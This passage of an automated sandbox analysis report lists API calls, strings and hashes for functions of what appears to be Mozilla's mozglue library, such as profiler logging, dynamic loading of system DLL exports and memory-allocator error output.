Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction ID: 0bd65e644daed088f08fe6fcc9a834646c2bc799f70e34fbc658b7f133535696
Opcode Fuzzy Hash: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction Fuzzy Hash: 4D119175201206ABCB44AF5AC8889A97779FFC6759F550416FA0583F01CB71B812CBAE

Function 6C6B76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C6B7705

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C6B778F,00000000,00000000,00000000,00000000), ref: 6C6B7731
free.MOZGLUE(00000000), ref: 6C6B7760

Strings

}>il, xrefs: 6C6B76C4

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>il
API String ID: 2538299546-1725928026
Opcode ID: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction ID: 69dadac1c372adee9e4d185efa5b35e7bcfef7ba5702c5b4d1b166416e3f892e
Opcode Fuzzy Hash: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction Fuzzy Hash: C811C4B19042156BE710AF7A9C44BABBEE8EF46354F044439F848E7300E7709850C7F6

Function 6C660EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C68D9F0,00000000), ref: 6C660F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C660F3C
__Init_thread_footer.LIBCMT ref: 6C660F50
FreeLibrary.KERNEL32(?,6C68D9F0,00000000), ref: 6C660F86

Strings

CoInitializeEx, xrefs: 6C660F36
combase.dll, xrefs: 6C660F18

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction ID: 3142b6849d6ec6b95381f9596ef0e0d97da1d837e232cb8c17506ce709f15651
Opcode Fuzzy Hash: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction Fuzzy Hash: F311C6743152419BDF10CF57C988A493774E79B325F004629ED0583B41D772B401CA5F

Function 6C69F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A
[I %d/%d] profiler_resume, xrefs: 6C69F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction ID: c3c579bf121b4f29216cc944803579b568ea5ae6b2b9047ff900d25c0825af38
Opcode Fuzzy Hash: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction Fuzzy Hash: 82F0B4752002059FDB006F669C8895E77BDEFCA29EF010415FA0583706CF31A801876E

Function 6C660E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C660DF8), ref: 6C660E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C660EA1
__Init_thread_footer.LIBCMT ref: 6C660EB5
FreeLibrary.KERNEL32 ref: 6C660EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C660E9B
kernel32.dll, xrefs: 6C660E7D

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction ID: 04721a74647996172587f100570ada726f5cd43541baddcb8b94d007b7167caf
Opcode Fuzzy Hash: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction Fuzzy Hash: 720146747003928BDF008FABEA94BE233B5E746759F104525EA0182F84DB74B406CA1F

Function 6C69F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction ID: 0ca6b029334713368cae37ce8458285ea3134e2d024130434b58c9ec30fc0ab5
Opcode Fuzzy Hash: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction Fuzzy Hash: FFF05475200205AFDF006F668C8895A777DEFCA29DF150415FA0583746DB756806876E

Function 6C6905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C68CFAE,?,?,?,6C6531A7), ref: 6C6905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C68CFAE,?,?,?,6C6531A7), ref: 6C690616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6531A7), ref: 6C69061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6531A7), ref: 6C690627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C69061B, 6C690625
<jemalloc>, xrefs: 6C6905FA, 6C69060F

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction ID: 48e1536f2f0669c544160619b682af56469d35fc0a8b4f871b052f5e726b8a34
Opcode Fuzzy Hash: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction Fuzzy Hash: 69E08CE2A0101037F6142256BC86DBB761CDBC6134F080039FE0E83341E94ABD1A51FB

Function 6C6605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction ID: 5d20436572da2bca74fa40327ce16ae1097bfe10773e91a6ef8623a71e3834a3
Opcode Fuzzy Hash: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction Fuzzy Hash: 8AA15AB0A016458FDB24CF2AC594A99FBF1BF49304F44866ED44A97B00E731BA85CF99

Function 6C6B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6B14E2
GetCurrentThreadId.KERNEL32 ref: 6C6B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C6B15BA
free.MOZGLUE(?), ref: 6C6B16B4

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction ID: aba4de780e88ec0fbd8ae92ed5aa9381c591fd8fdf4d159ca99d83c8d4769e11
Opcode Fuzzy Hash: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction Fuzzy Hash: 2361F572A007009BDB118F25C880BDEB7B5BF8A308F04851DED8A67711EB31E955CB99

Function 6C6ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C6AD38A,?), ref: 6C6ADC6F
free.MOZGLUE(?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C6AD38A,?), ref: 6C6ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C6AD38A,?), ref: 6C6ADD4A

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction ID: bcadd9162a49f29ceb0e17f71bb7541758fe66ea6d43d186fbb7bff36c009d76
Opcode Fuzzy Hash: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction Fuzzy Hash: 24416BB5A00605DFCB00CF99C88099AB7F5FF89314B654569DE46ABB11D771FC02CB98

Function 6C68F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C68F480

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

CloseHandle.KERNEL32(00000000), ref: 6C68F555

Part of subcall function 6C6614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C661248,6C661248,?), ref: 6C6614C9
Part of subcall function 6C6614B0: memcpy.VCRUNTIME140(?,6C661248,00000000,?,6C661248,?), ref: 6C6614EF

Part of subcall function 6C65EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C65EEE3

CreateFileW.KERNEL32 ref: 6C68F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C68F523

Strings

\oleacc.dll, xrefs: 6C68F4CB

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction ID: 0d1bc788e9566150df40bd87b32a434fe4a46e126bf0021ca286a0276173a7db
Opcode Fuzzy Hash: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction Fuzzy Hash: 4541BF706097109FE720DF29D884A9BB7F4AF95318F504A1CF59083690EB70E949CBAB

Function 6C6B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C6B7526
__Init_thread_footer.LIBCMT ref: 6C6B7566
__Init_thread_footer.LIBCMT ref: 6C6B7597

Strings

UnmapViewOfFile2, xrefs: 6C6B7552
kernel32.dll, xrefs: 6C6B7557

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction ID: 70c3812f21271e644d1c9f7080f2d601ef814584af8e9d41c780a69cb21825ee
Opcode Fuzzy Hash: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction Fuzzy Hash: 1621373270150197CB248FEAD894ED973B5EB87725F054529E80167B80DB31B9118BBF

Function 6C6BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6BC0E9), ref: 6C6BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C6BC437
FreeLibrary.KERNEL32(?,6C6BC0E9), ref: 6C6BC44C

Strings

ntdll.dll, xrefs: 6C6BC413
NtQueryVirtualMemory, xrefs: 6C6BC431

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction ID: 0baf2aa69d8cf0f9d1a80e002f6a0c30601aa36f70604daba40d504ae963cc98
Opcode Fuzzy Hash: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction Fuzzy Hash: 14E0B670B01302ABDF007F73C9887127BF8AB46745F044516AB0592614EBB0F652CB5F

Function 6C6B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B748B,?), ref: 6C6B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6B75D7
FreeLibrary.KERNEL32(?,6C6B748B,?), ref: 6C6B75EC

Strings

ntdll.dll, xrefs: 6C6B75B3
RtlNtStatusToDosError, xrefs: 6C6B75D1

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction ID: 599b689ad59f66e73d5d34581d44cd022478ec4cd9cadc224c2f026cf24e048d
Opcode Fuzzy Hash: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction Fuzzy Hash: 8FE0B671600302ABEF006FE3E9C87817AF8EB46359F108425AA15D6650EFB0B452CF5E

Function 6C6B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B7592), ref: 6C6B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C6B7627
FreeLibrary.KERNEL32(?,6C6B7592), ref: 6C6B763C

Strings

ntdll.dll, xrefs: 6C6B7603
NtUnmapViewOfSection, xrefs: 6C6B7621

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction ID: 4077c0c34e0e82244b259c34acabfe4733f0336438e9aebffaac6e4d6d13d704
Opcode Fuzzy Hash: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction Fuzzy Hash: 67E0B6B0600342ABDF106FA7E8887817AB8EB5A399F014515EA05D2750EBB1B4119F5E

Function 6C6BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C6BBE49), ref: 6C6BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C6BBEDE
